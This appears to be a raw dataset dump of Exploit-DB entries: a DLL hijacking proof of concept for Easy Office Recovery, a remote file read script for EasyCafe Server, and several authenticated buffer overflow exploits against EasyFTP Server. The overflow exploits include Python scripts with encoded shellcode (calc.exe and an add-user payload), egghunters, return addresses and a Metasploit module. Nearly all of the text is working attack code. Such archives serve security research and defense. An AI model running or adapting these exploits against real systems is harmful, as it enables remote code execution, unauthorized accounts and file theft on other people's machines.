deardaniel/secdata-raw huggingface dataset:
Exploit-DB #34696
Description: Easy Office Recovery - 'dwmapi.dll' DLL Loading Arbitrary Code Execution
Type: remote
Platform: windows
Date: 2010-09-22
Author: anT!-Tr0J4n

Exploit:
// source: https://www.securityfocus.com/bid/43416/info

Easy Office Recovery is prone to a vulnerability that lets attackers execute arbitrary code.

An attacker can exploit this issue by enticing a legitimate user to use the vulnerable application to open a file from a network share location that contains a specially crafted Dynamic Link Library (DLL) file. 

/*
#SEasyOfficeRecovery DLL Hijacking Exploit (dwmapi.dll)
#Author : anT!-Tr0J4n
#Greetz : Dev-PoinT.com ~ inj3ct0r.com ~ AHMeD ALAMRi ~,All Dev-poinT members and my friends
#Email   : D3v-PoinT@hotmail.com & C1EH@Hotmail.com
# Software Link:http://www.munsoft.com/downloads
#Tested on: Windows XP sp3
#how to use :
   Complile and rename to dwmapi.dll. Place it in the same dir  Execute to check the
  result > Hack3d 



 
#dwmapi.dll (code)
*/
 
#include "stdafx.h"
 
void init() {
MessageBox(NULL,"anT!-Tr0J4n", "Hack3d",0x00000003);
}
 
 
BOOL APIENTRY DllMain( HANDLE hModule,
                       DWORD  ul_reason_for_call,
                       LPVOID lpReserved
 )
{
    switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
 init();break;
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
 case DLL_PROCESS_DETACH:
break;
    }
    return TRUE;
}
Exploit-DB #39102
Description: EasyCafe Server 2.2.14 - Remote File Read
Type: remote
Platform: windows
Date: 2015-12-26
Author: R-73eN

Exploit:
#!/usr/bin/python -w
# Title : EasyCafe Server <= 2.2.14 Remote File Read
# Date : 25/12/2015
# Author : R-73eN
# Tested on : Windows 7 Ultimate
# Software Link : http://www.tinasoft.com/easycafe/
# Download Link: http://www.tinasoft.com/Download/easysetup.exe
# Vulnerable Versions : EasyCafe Server <= 2.2.14
# EasyCafe Server has a feature to upload file from the server to a client.
# And the request is as following. EasyCafe Server sends an UDP request to the client with the file that wants to upload,
# Then the client receives the packet and connects to the server on port 831 and sends the directory of the file and receives it.
# The problem is that a remote attacker can connect to port 831 and can retrive a file becuase the server doesn't validate the request,
# and does not check if it has sent the UDP request which gives us full Read access to the system.
#
#EDB Note: Code my need some adjusting

import socket
#Banner
banner = ""
banner += "  ___        __        ____                 _    _  \n" 
banner +=" |_ _|_ __  / _| ___  / ___| ___ _ __      / \  | |    \n"
banner +="  | || '_ \| |_ / _ \| |  _ / _ \ '_ \    / _ \ | |    \n"
banner +="  | || | | |  _| (_) | |_| |  __/ | | |  / ___ \| |___ \n"
banner +=" |___|_| |_|_|  \___/ \____|\___|_| |_| /_/   \_\_____|\n\n"
print banner



IP = "192.168.43.36" # Target IP
PORT = 831
file_to_read = "C:\\Windows\\System32\\drivers\\etc\\hosts" # File to read



s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((IP, PORT))
file_to_read = "\x43" + file_to_read
hex_value = ''.join(x.encode('hex') for x in file_to_read)
fill = "\x00"
end = "\x01\x00\x00\x00\x01"
payload = hex_value.decode("hex") + fill * (261 - len(end) - len(file_to_read)) + end
s.send(payload)
s.settimeout(0)
print "[+] Request Send Waiting for Response . . . [+]"

try:
	data = s.recv(261) # Get header
	while data:
		data = s.recv(2048)
		print data
		
except Exception:
	print "[+] https://www.infogen.al/ [+]"
finally:			
	s.close()
Exploit-DB #14402
Description: EasyFTP Server 1.7.0.11 - 'CWD' (Authenticated) Remote Buffer Overflow
Type: remote
Platform: windows
Date: 2010-07-18
Author: fdiskyou

Exploit:
# Exploit Title: Easy FTP Server v1.7.0.11 CWD Command Remote Buffer Overflow Exploit (Post Auth) 
# Date: 2010-07-18 
# Author: @fdiskyou
# e-mail: rui at deniable.org
# Software Link: 
# Version: 1.7.0.11
# Tested on: Windows XP SP3 en

import socket
import sys

buffersize = 268

# windows/exec - 227 bytes x86/shikata_ga_nai EXITFUNC=process, CMD=calc.exe
shellcode = ("\xb8\xf1\x18\xc7\x71\xd9\xc7\x29\xc9\xb1\x33\xd9\x74\x24\xf4"
"\x5b\x31\x43\x12\x83\xeb\xfc\x03\xb2\x16\x25\x84\xc8\xcf\x20"
"\x67\x30\x10\x53\xe1\xd5\x21\x41\x95\x9e\x10\x55\xdd\xf2\x98"
"\x1e\xb3\xe6\x2b\x52\x1c\x09\x9b\xd9\x7a\x24\x1c\xec\x42\xea"
"\xde\x6e\x3f\xf0\x32\x51\x7e\x3b\x47\x90\x47\x21\xa8\xc0\x10"
"\x2e\x1b\xf5\x15\x72\xa0\xf4\xf9\xf9\x98\x8e\x7c\x3d\x6c\x25"
"\x7e\x6d\xdd\x32\xc8\x95\x55\x1c\xe9\xa4\xba\x7e\xd5\xef\xb7"
"\xb5\xad\xee\x11\x84\x4e\xc1\x5d\x4b\x71\xee\x53\x95\xb5\xc8"
"\x8b\xe0\xcd\x2b\x31\xf3\x15\x56\xed\x76\x88\xf0\x66\x20\x68"
"\x01\xaa\xb7\xfb\x0d\x07\xb3\xa4\x11\x96\x10\xdf\x2d\x13\x97"
"\x30\xa4\x67\xbc\x94\xed\x3c\xdd\x8d\x4b\x92\xe2\xce\x33\x4b"
"\x47\x84\xd1\x98\xf1\xc7\xbf\x5f\x73\x72\x86\x60\x8b\x7d\xa8"
"\x08\xba\xf6\x27\x4e\x43\xdd\x0c\xa0\x09\x7c\x24\x29\xd4\x14"
"\x75\x34\xe7\xc2\xb9\x41\x64\xe7\x41\xb6\x74\x82\x44\xf2\x32"
"\x7e\x34\x6b\xd7\x80\xeb\x8c\xf2\xe2\x6a\x1f\x9e\xca\x09\xa7"
"\x05\x13")

eip = "\x91\xC8\x41\x7E" # CALL EDI - user32.dll
nopsled = "\x90" * 16

payload = "\x90" * (buffersize-(len(nopsled)+len(shellcode)))

def ExploitEasyFTP(target):
	s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
	connect = s.connect((target, 21))
	s.recv(1024)
	s.send('User anonymous\r\n')
	s.recv(1024)
	s.send('PASS anonymous\r\n')
	s.send('CWD '+nopsled+shellcode+payload+eip+'\r\n')
	s.recv(1024)
	s.send('QUIT ftp\r\n')
	s.close()

target = sys.argv[1]

ExploitEasyFTP(target)
Exploit-DB #14400
Description: EasyFTP Server 1.7.0.11 - 'LIST' (Authenticated) Remote Buffer Overflow
Type: remote
Platform: windows
Date: 2010-07-17
Author: Karn Ganeshen

Exploit:
#!/usr/bin/python
import socket,sys

# Tested on XP Pro SP2 [ Eng ] and XP Pro SP3 [ Eng ]

print """
#
****************************************************************************
#									   #
*  Easy FTP Server v1.7.0.11 [LIST] Remote BoF Exploit Post Authentication *
*  Author / Discovered by : Karn Ganeshen 				   *
*  Date : July 5, 2010							   *
*  KarnGaneshen [aT] gmail [d0t] com     				   *
*  http://ipositivesecurity.blogspot.com				   *
#									   #
****************************************************************************
#
"""

if len(sys.argv) != 3:
    print "Usage: ./easyftp_LIST.py <Target IP> <Port>"
    sys.exit(1)
 
target = sys.argv[1]
port = int(sys.argv[2])

# Buffer needed -> 272 bytes
# Metasploit Shellcode PoC - Calc.exe [ 228 bytes ] [ shikata_ga_nai - 1 iteration ] [ badchars \x00\x0a\x2f\x5c ]

shellcode = ("\xda\xc0\xd9\x74\x24\xf4\xbb\xe6\x9a\xc9\x6d\x5a\x33\xc9\xb1"
"\x33\x31\x5a\x18\x83\xea\xfc\x03\x5a\xf2\x78\x3c\x91\x12\xf5"
"\xbf\x6a\xe2\x66\x49\x8f\xd3\xb4\x2d\xdb\x41\x09\x25\x89\x69"
"\xe2\x6b\x3a\xfa\x86\xa3\x4d\x4b\x2c\x92\x60\x4c\x80\x1a\x2e"
"\x8e\x82\xe6\x2d\xc2\x64\xd6\xfd\x17\x64\x1f\xe3\xd7\x34\xc8"
"\x6f\x45\xa9\x7d\x2d\x55\xc8\x51\x39\xe5\xb2\xd4\xfe\x91\x08"
"\xd6\x2e\x09\x06\x90\xd6\x22\x40\x01\xe6\xe7\x92\x7d\xa1\x8c"
"\x61\xf5\x30\x44\xb8\xf6\x02\xa8\x17\xc9\xaa\x25\x69\x0d\x0c"
"\xd5\x1c\x65\x6e\x68\x27\xbe\x0c\xb6\xa2\x23\xb6\x3d\x14\x80"
"\x46\x92\xc3\x43\x44\x5f\x87\x0c\x49\x5e\x44\x27\x75\xeb\x6b"
"\xe8\xff\xaf\x4f\x2c\x5b\x74\xf1\x75\x01\xdb\x0e\x65\xed\x84"
"\xaa\xed\x1c\xd1\xcd\xaf\x4a\x24\x5f\xca\x32\x26\x5f\xd5\x14"
"\x4e\x6e\x5e\xfb\x09\x6f\xb5\xbf\xe5\x25\x94\x96\x6d\xe0\x4c"
"\xab\xf0\x13\xbb\xe8\x0c\x90\x4e\x91\xeb\x88\x3a\x94\xb0\x0e"
"\xd6\xe4\xa9\xfa\xd8\x5b\xca\x2e\xbb\x3a\x58\xb2\x12\xd8\xd8"
"\x51\x6b\x28")

nopsled = "\x90" * 40
ret = "\x10\x3B\x88\00" # MAGIC RET 00883B10 [ CALL EDI ]
payload = nopsled + shellcode + ret 

print "[+] Launching exploit against " + target + "..."
s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)

try:
    connect=s.connect((target, port))
    print "[+] Connected!"
except:
    print "[!] Connection failed!"
    sys.exit(0)

s.recv(1024)

# Targetting default user 'anonymous' on the target
s.send('USER anonymous\r\n')
s.recv(1024)
s.send('PASS anonymous\r\n')
s.recv(1024)
print "[+] Sending payload..."
s.send('LIST ' + payload + '\r\n')
s.recv(1024)

print "[!] Verifying if LIST is enabled for the user. This may take some time..."

try:
    s.recv(1024)
    print "[!] Uhh.. User does not have LIST permissions. +++Exploit failed+++"

except:
    print "[+] +++Exploit Successful+++ ^_^"

s.close()
Exploit-DB #14451
Description: EasyFTP Server 1.7.0.11 - 'LIST' (Authenticated) Remote Buffer Overflow (Metasploit)
Type: remote
Platform: windows
Date: 2010-07-23
Author: Muhamad Fadzil Ramli

Exploit:
##
# EDB-ID: 14400
# Date : July 5, 2010
# Discovered by : Karn Ganeshen
# Version : 1.7.0.11
# Tested on : Windows XP SP3 Version 2002
# MFR  & VAS TEAM : just testing howto convert exploits to metasploit modules.
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = GreatRanking

	include Msf::Exploit::Remote::Ftp

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'EasyFTP Server <= 1.7.0.11 LIST Command Stack Buffer Overflow',
			'Description'    => %q{
					This module exploits a stack-based buffer overflow in EasyFTP Server 1.7.0.11.
					credit goes to Karn Ganeshan.	
			},
			'Author'         =>
				[
					'Karn Ganeshan <karnganeshan [at] gmail.com>', # original version
					'MFR' # convert to metasploit format.
				],
			'License'        => MSF_LICENSE,
			'Version'        => 'Version: 1',
			'References'     =>
				[
					[ 'EDB', '14400' ],
				],
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'thread'
				},
			'Privileged'     => false,
			'Payload'        =>
				{
					'Space'    => 268,
					'BadChars' => "\x00\x0a\x0d\x2f\x5c", 
					'DisableNops' => false
				},
			'Platform'	 => 'win',
			'Targets'        =>
				[
					[ 'Windows XP SP3 - Version 2002',   { 'Ret' => 0x7e49732b } ],
				],
			'DisclosureDate' => 'July 5 2010',
			'DefaultTarget' => 0))
	end

	def check
		connect
		disconnect

		if (banner =~ /BigFoolCat/)
			return Exploit::CheckCode::Vulnerable
		end
			return Exploit::CheckCode::Safe
	end

	def exploit
		connect_login

		buf = ''
		buf << make_nops(268 - payload.encoded.length - 4)
		print_status("Adding the payload...")
		buf << payload.encoded
		buf << [target.ret].pack('V')

		print_status("Sending exploit buffer...")
		send_cmd( ['LIST', buf] , false) 

		handler
		disconnect
	end

end
Exploit-DB #14399
Description: EasyFTP Server 1.7.0.11 - 'MKD' (Authenticated) Remote Buffer Overflow
Type: remote
Platform: windows
Date: 2010-07-17
Author: Karn Ganeshen

Exploit:
#!/usr/bin/python
import socket,sys

# Tested on XP Pro SP2 [ Eng ] and XP Pro SP3 [ Eng ]

print """
#
****************************************************************************
#									   #
*  Easy FTP Server v1.7.0.11 [MKD] Remote BoF Exploit Post Authentication  *
*  Author / Discovered by : Karn Ganeshen 				   *
*  Date : July 5, 2010							   *
*  KarnGaneshen [aT] gmail [d0t] com     				   *
*  http://ipositivesecurity.blogspot.com				   *
#									   #
****************************************************************************
#
"""

if len(sys.argv) != 3:
    print "Usage: ./easyftp_mkd.py <Target IP> <Port>"
    sys.exit(1)
 
target = sys.argv[1]
port = int(sys.argv[2])

# Buffer needed -> 272 bytes
# Metasploit Shellcode PoC - Calc.exe [ 228 bytes ] [ shikata_ga_nai - 1 iteration ] [ badchars \x00\x0a\x2f\x5c ]

shellcode = ("\xda\xc0\xd9\x74\x24\xf4\xbb\xe6\x9a\xc9\x6d\x5a\x33\xc9\xb1"
"\x33\x31\x5a\x18\x83\xea\xfc\x03\x5a\xf2\x78\x3c\x91\x12\xf5"
"\xbf\x6a\xe2\x66\x49\x8f\xd3\xb4\x2d\xdb\x41\x09\x25\x89\x69"
"\xe2\x6b\x3a\xfa\x86\xa3\x4d\x4b\x2c\x92\x60\x4c\x80\x1a\x2e"
"\x8e\x82\xe6\x2d\xc2\x64\xd6\xfd\x17\x64\x1f\xe3\xd7\x34\xc8"
"\x6f\x45\xa9\x7d\x2d\x55\xc8\x51\x39\xe5\xb2\xd4\xfe\x91\x08"
"\xd6\x2e\x09\x06\x90\xd6\x22\x40\x01\xe6\xe7\x92\x7d\xa1\x8c"
"\x61\xf5\x30\x44\xb8\xf6\x02\xa8\x17\xc9\xaa\x25\x69\x0d\x0c"
"\xd5\x1c\x65\x6e\x68\x27\xbe\x0c\xb6\xa2\x23\xb6\x3d\x14\x80"
"\x46\x92\xc3\x43\x44\x5f\x87\x0c\x49\x5e\x44\x27\x75\xeb\x6b"
"\xe8\xff\xaf\x4f\x2c\x5b\x74\xf1\x75\x01\xdb\x0e\x65\xed\x84"
"\xaa\xed\x1c\xd1\xcd\xaf\x4a\x24\x5f\xca\x32\x26\x5f\xd5\x14"
"\x4e\x6e\x5e\xfb\x09\x6f\xb5\xbf\xe5\x25\x94\x96\x6d\xe0\x4c"
"\xab\xf0\x13\xbb\xe8\x0c\x90\x4e\x91\xeb\x88\x3a\x94\xb0\x0e"
"\xd6\xe4\xa9\xfa\xd8\x5b\xca\x2e\xbb\x3a\x58\xb2\x12\xd8\xd8"
"\x51\x6b\x28")

nopsled = "\x90" * 40
ret = "\x10\x3B\x88\00" # MAGIC RET 00883B10 (SP2) / 00893B58 (SP3) [ EBP points to nopsled when overflowed ]
payload = nopsled + shellcode + ret 

print "[+] Launching exploit against " + target + "..."
s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
    connect=s.connect((target, port))
    print "[+] Connected!"
except:
    print "[!] Connection failed!"
    sys.exit(0)
    
s.recv(1024)

# Targetting default user 'anonymous' on the target
s.send('USER anonymous\r\n')
s.recv(1024)
s.send('PASS anonymous\r\n')
s.recv(1024)

print "[+] Sending payload..."
s.send('MKD ' + payload + '\r\n')

print "[!] Verifying if the user has 'Create Directory' permission. This may take some time..."

try:
    s.recv(1024)    
    print "[!] Uhh.. User does not have MKD privilege. +++Exploit failed+++"

except:
    print "[+] +++Exploit Successful+++ ^_^"

s.close()
Exploit-DB #14623
Description: EasyFTP Server 1.7.0.11 - (Authenticated) Multiple Commands Remote Buffer Overflows
Type: remote
Platform: windows
Date: 2010-08-11
Author: Glafkos Charalambous

Exploit:
# Exploit Title: Easy FTP Server v1.7.0.11 Multiple Command Buffer Overflow
# Date: August 12, 2010
# Author: Glafkos Charalambous
# Software Link: http://easyftpsvr.googlecode.com/files/easyftp-server-1.7.0.11-en.zip
# Version: 1.7.0.11
# Tested on: Windows XP SP3 En
# Vulnerable Commands: DELE, STOR, RNFR, RMD, XRMD

import socket
import sys

if len(sys.argv) != 4:
    print "Usage: ./easyftp.py <Target IP> <Port> <Command>"
    print "Vulnerable Commands: DELE, STOR, RNFR, RMD, XRMD"
    sys.exit(1)
  
target = sys.argv[1]
port = int(sys.argv[2])
command = sys.argv[3]

buffersize = 268
 

# windows/exec - 227 bytes
# http://www.metasploit.com
# Encoder: x86/shikata_ga_nai
# EXITFUNC=process, CMD=calc.exe

shellcode = ("\xd9\xec\xba\x4c\x61\x82\xbc\xd9\x74\x24\xf4\x33\xc9\xb1\x33"
"\x58\x31\x50\x17\x83\xe8\xfc\x03\x1c\x72\x60\x49\x60\x9c\xed"
"\xb2\x98\x5d\x8e\x3b\x7d\x6c\x9c\x58\xf6\xdd\x10\x2a\x5a\xee"
"\xdb\x7e\x4e\x65\xa9\x56\x61\xce\x04\x81\x4c\xcf\xa8\x0d\x02"
"\x13\xaa\xf1\x58\x40\x0c\xcb\x93\x95\x4d\x0c\xc9\x56\x1f\xc5"
"\x86\xc5\xb0\x62\xda\xd5\xb1\xa4\x51\x65\xca\xc1\xa5\x12\x60"
"\xcb\xf5\x8b\xff\x83\xed\xa0\x58\x34\x0c\x64\xbb\x08\x47\x01"
"\x08\xfa\x56\xc3\x40\x03\x69\x2b\x0e\x3a\x46\xa6\x4e\x7a\x60"
"\x59\x25\x70\x93\xe4\x3e\x43\xee\x32\xca\x56\x48\xb0\x6c\xb3"
"\x69\x15\xea\x30\x65\xd2\x78\x1e\x69\xe5\xad\x14\x95\x6e\x50"
"\xfb\x1c\x34\x77\xdf\x45\xee\x16\x46\x23\x41\x26\x98\x8b\x3e"
"\x82\xd2\x39\x2a\xb4\xb8\x57\xad\x34\xc7\x1e\xad\x46\xc8\x30"
"\xc6\x77\x43\xdf\x91\x87\x86\xa4\x6e\xc2\x8b\x8c\xe6\x8b\x59"
"\x8d\x6a\x2c\xb4\xd1\x92\xaf\x3d\xa9\x60\xaf\x37\xac\x2d\x77"
"\xab\xdc\x3e\x12\xcb\x73\x3e\x37\xa8\x12\xac\xdb\x01\xb1\x54"
"\x79\x5e")

 
eip = "\x91\xC8\x41\x7E"
nopsled = "\x90" * 16
junk = "\x90" * (buffersize-(len(nopsled)+len(shellcode)))
payload = nopsled+shellcode+junk+eip

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
    connect = s.connect((target, port))
    print "[+] Connected"
except:
    print "[!] Connection Failed"
    sys.exit(0)
s.recv(1024)
 	
s.send('User ftp\r\n')
s.recv(1024)
s.send('PASS ftp\r\n')
s.recv(1024)
print "[+] Sending payload..."
s.send(command +' '+payload+'\r\n')
s.close()
Exploit-DB #11500
Description: EasyFTP Server 1.7.0.2 - 'HTTP' Remote Buffer Overflow
Type: remote
Platform: windows
Date: 2010-02-18
Author: ThE g0bL!N

Exploit:
# Exploit Title: Easy~Ftp Server v1.7.0.2 (HTTP) Remote BOF Exploit
# Date: 18-02-2010
# Author: ThE g0bL!N
# Software Link: http://cdnetworks-us-2.dl.sourceforge.net/project/easyftpsvr/easyftpsvr/1.7.0.2-en/easyftpsvr-1.7.0.2.zip
# Code :
#!/usr/bin/python

import sys
import socket
import base64

if len(sys.argv) != 4:
print "\n****************************************************"
print "[*] Easy~Ftp Server v1.7.0.2 (HTTP) Remote BOF Exploit\n"
print "[*] Usage : ./sploit.py <target_ip> <user> <password>\n"
print "[*] Example : ./sploit.py 192.168.1.3 anonymous w00t\n"
print "*****************************************************"
sys.exit(0)

user = sys.argv[2]
pwd = sys.argv[3]
auth = base64.b64encode(user+":"+pwd)

# win32_exec - EXITFUNC=process CMD=calc Size=160 Encoder=PexFnstenvSub http://metasploit.com
shellcode=(
"\x44\x7A\x32\x37\x44\x7A\x32\x37"
"\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49"
"\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36"
"\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34"
"\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41"
"\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4a\x4e\x46\x44"
"\x42\x50\x42\x30\x42\x30\x4b\x58\x45\x34\x4e\x43\x4b\x38\x4e\x47"
"\x45\x30\x4a\x37\x41\x50\x4f\x4e\x4b\x58\x4f\x44\x4a\x41\x4b\x48"
"\x4f\x45\x42\x52\x41\x30\x4b\x4e\x49\x44\x4b\x58\x46\x53\x4b\x58"
"\x41\x30\x50\x4e\x41\x43\x42\x4c\x49\x59\x4e\x4a\x46\x48\x42\x4c"
"\x46\x57\x47\x50\x41\x4c\x4c\x4c\x4d\x30\x41\x50\x44\x4c\x4b\x4e"
"\x46\x4f\x4b\x53\x46\x45\x46\x32\x46\x30\x45\x37\x45\x4e\x4b\x58"
"\x4f\x45\x46\x42\x41\x30\x4b\x4e\x48\x56\x4b\x48\x4e\x30\x4b\x54"
"\x4b\x58\x4f\x45\x4e\x41\x41\x50\x4b\x4e\x4b\x48\x4e\x51\x4b\x58"
"\x41\x50\x4b\x4e\x49\x58\x4e\x35\x46\x32\x46\x50\x43\x4c\x41\x33"
"\x42\x4c\x46\x56\x4b\x48\x42\x54\x42\x43\x45\x58\x42\x4c\x4a\x57"
"\x4e\x50\x4b\x58\x42\x54\x4e\x50\x4b\x48\x42\x57\x4e\x51\x4d\x4a"
"\x4b\x38\x4a\x56\x4a\x30\x4b\x4e\x49\x30\x4b\x38\x42\x48\x42\x4b"
"\x42\x50\x42\x30\x42\x50\x4b\x48\x4a\x36\x4e\x53\x4f\x45\x41\x43"
"\x48\x4f\x42\x46\x48\x55\x49\x58\x4a\x4f\x43\x38\x42\x4c\x4b\x57"
"\x42\x35\x4a\x56\x50\x57\x4a\x4d\x44\x4e\x43\x37\x4a\x56\x4a\x59"
"\x50\x4f\x4c\x58\x50\x30\x47\x35\x4f\x4f\x47\x4e\x43\x36\x41\x46"
"\x4e\x36\x43\x36\x42\x50\x5a")

egghunter=(
"\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c\x05\x5a\x74"
"\xef\xb8\x44\x7A\x32\x37\x8b\xfa\xaf\x75\xea\xaf\x75\xe7\xff\xe7")

buf = "\x61"*268
buf += "\xF0\x69\x83\x7C" #CALL ESP XP SP3
buf += "\x63"*8
buf += egghunter

head = "GET /list.html?path="+buf+" HTTP/1.1\r\n"
head += "Host: "+shellcode+"\r\n"
head += "Authorization: Basic "+auth+"\r\n"

try:
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect((sys.argv[1],8080))
s.send(head + "\r\n")
print "[x] Payload sended waiting for shellcode..."
s.close()
except:
print "Error!"
Exploit-DB #11468
Description: EasyFTP Server 1.7.0.2 - (Authenticated) Buffer Overflow (1)
Type: remote
Platform: windows
Date: 2010-02-15
Author: dookie

Exploit:
#!/usr/bin/python

# Title: Easy~Ftp Server v1.7.0.2 Post-Authentication BoF
# From: The eh?-Team || The Great White Fuzz (we're not sure yet)
# Author: dookie2000ca
# Date: 14/02/2010
# Found by: loneferret
# Date Found: 13/02/2010

# Software link: http://cdnetworks-us-2.dl.sourceforge.net/project/easyftpsvr/easyftpsvr/1.7.0.2-en/easyftpsvr-1.7.0.2.zip
# Tested on: Windows XP SP3 Professional

import socket
import sys

# msfpayload windows/exec cmd=calc.exe R | msfencode -b '\x00\x0a\x2f\x5c' -e x86/shikata_ga_nai -t c
# [*] x86/shikata_ga_nai succeeded with size 228 (iteration=1)

shellcode = ("\xd9\xcc\x31\xc9\xb1\x33\xd9\x74\x24\xf4\x5b\xba\x99\xe4\x93"
"\x62\x31\x53\x18\x03\x53\x18\x83\xc3\x9d\x06\x66\x9e\x75\x4f"
"\x89\x5f\x85\x30\x03\xba\xb4\x62\x77\xce\xe4\xb2\xf3\x82\x04"
"\x38\x51\x37\x9f\x4c\x7e\x38\x28\xfa\x58\x77\xa9\xca\x64\xdb"
"\x69\x4c\x19\x26\xbd\xae\x20\xe9\xb0\xaf\x65\x14\x3a\xfd\x3e"
"\x52\xe8\x12\x4a\x26\x30\x12\x9c\x2c\x08\x6c\x99\xf3\xfc\xc6"
"\xa0\x23\xac\x5d\xea\xdb\xc7\x3a\xcb\xda\x04\x59\x37\x94\x21"
"\xaa\xc3\x27\xe3\xe2\x2c\x16\xcb\xa9\x12\x96\xc6\xb0\x53\x11"
"\x38\xc7\xaf\x61\xc5\xd0\x6b\x1b\x11\x54\x6e\xbb\xd2\xce\x4a"
"\x3d\x37\x88\x19\x31\xfc\xde\x46\x56\x03\x32\xfd\x62\x88\xb5"
"\xd2\xe2\xca\x91\xf6\xaf\x89\xb8\xaf\x15\x7c\xc4\xb0\xf2\x21"
"\x60\xba\x11\x36\x12\xe1\x7f\xc9\x96\x9f\x39\xc9\xa8\x9f\x69"
"\xa1\x99\x14\xe6\xb6\x25\xff\x42\x48\x6c\xa2\xe3\xc0\x29\x36"
"\xb6\x8d\xc9\xec\xf5\xab\x49\x05\x86\x48\x51\x6c\x83\x15\xd5"
"\x9c\xf9\x06\xb0\xa2\xae\x27\x91\xc0\x31\xbb\x79\x29\xd7\x3b"
"\x1b\x35\x1d")

sled = "\x90" * 10
filler = "\x90" * 30
eip = "\x8B\x38\xAB\x71" # 71AB388B JMP EBP WS2_32.DLL
trailer = "\x43" * 48

evil = sled + shellcode + filler + eip + trailer

s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
connect=s.connect(('192.168.1.142',21))
s.recv(1024)
s.send('USER dookie\r\n')
s.recv(1024)
s.send('PASS dookie\r\n')
s.recv(1024)
s.send('MKD ' + evil + '\r\n')
s.recv(1024)
s.send('QUIT\r\n')
s.close
Exploit-DB #17354
Description: EasyFTP Server 1.7.0.2 - (Authenticated) Buffer Overflow (2)
Type: remote
Platform: windows
Date: 2011-06-01
Author: b33f

Exploit:
#!/usr/bin/python

# Title: Easy~Ftp Server v1.7.0.2 Post-Authentication BoF
# Original Author: dookie2000ca || Windows XP SP3 Professional
# Author: b33f - Ruben Boonen
# Windows XP Home SP1
# Software link: http://cdnetworks-us-2.dl.sourceforge.net/project/easyftpsvr/easyftpsvr/1.7.0.2-en/easyftpsvr-1.7.0.2.zip

import socket
import sys

#-------------------------------------------------------------------------------
#SE Handler is overwritten - offset to SEH 256
#short jump \xEB\x07
#pop pop ret rpcrt4.dll 78011926
#badchars 0x00 0x0a 0x2f 0x5c
#-------------------------------------------------------------------------------

bunny = (
"\x66\x81\xCA\xFF\x0F\x42\x52\x6A\x02\x58\xCD\x2E\x3C\x05\x5A\x74\xEF\xB8"
"\x77\x30\x30\x74" # egghunter marker w00t
"\x8B\xFA\xAF\x75\xEA\xAF\x75\xE7\xFF\xE7")

#win32_adduser - PASS=u EXITFUNC=seh USER=fuck Size=228 Encoder=ShikataGaNai
shellcode = (
"\xdb\xd3\x31\xc9\xb8\x5d\x82\xf8\x52\xb1\x34\xd9\x74\x24\xf4\x5f"
"\x83\xc7\x04\x31\x47\x13\x03\x1a\x91\x1a\xa7\x58\x7d\x9e\x48\xa0"
"\x7e\x94\x0c\x9c\xf5\xd6\x8b\xa4\x08\xc8\x1f\x1b\x13\x9d\x7f\x83"
"\x22\x4a\x36\x48\x10\x07\xc8\xa0\x68\xd7\x52\x90\x0f\x17\x10\xef"
"\xce\x52\xd4\xee\x12\x89\x13\xcb\xc6\x6a\xd8\x5e\x02\xf9\xbf\x84"
"\xcd\x15\x59\x4f\xc1\xa2\x2d\x10\xc6\x35\xd9\x25\xea\xbe\x1c\xd2"
"\x9a\x9d\x3a\x20\x5e\x2c\x83\x4c\xeb\x0f\x33\x09\x2b\xf7\x3f\x9a"
"\xec\x04\xcb\xec\xf0\xb9\x40\x64\x01\x29\x5f\xff\x91\x1d\x60\xff"
"\x91\xd6\x09\xc3\xce\xd9\x3f\x5b\xa7\x90\x38\x18\x87\xd8\xe8\x76"
"\xf8\x95\x0d\xd9\x90\x31\xf3\x6f\x6e\x15\xf3\x88\x0c\xf4\x6f\x78"
"\xb6\x7e\x15\xa4\x17\x1c\xf5\xca\x02\x96\xd5\x67\xbe\x33\x64\xa7"
"\x26\xc9\xeb\xcc\x86\x44\xcc\x3d\x86\xe2\x48\x61\x2e\xcd\x70\x0f"
"\x4b\x65\x51\xa3\xfc\xe6\xf0\x57\x64\x9b\x9d\xd2\x1a\x7b\x23\x78"
"\xb6\x12\xcd\xe9\x3b\x91\x63\x88\xcf\x36\xf6\x39\x10\xaf\x83\xde"
"\x3b\x0f\x43\x61\xf8\x0b\x9b")

payload = "A"*7 + "w00tw00t" + shellcode + "A"*10 + "\xEB\x07\x90\x90" + "\x26\x19\x01\x78" + "\x90"*25 + bunny + "A"*133

s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
connect=s.connect(('192.168.1.70',21))
s.recv(1024)
s.send('USER b33f\r\n')
s.recv(1024)
s.send('PASS b33f\r\n')
s.recv(1024)
s.send('MKD ' + payload + '\r\n')
s.recv(1024)
s.send('QUIT\r\n')
s.close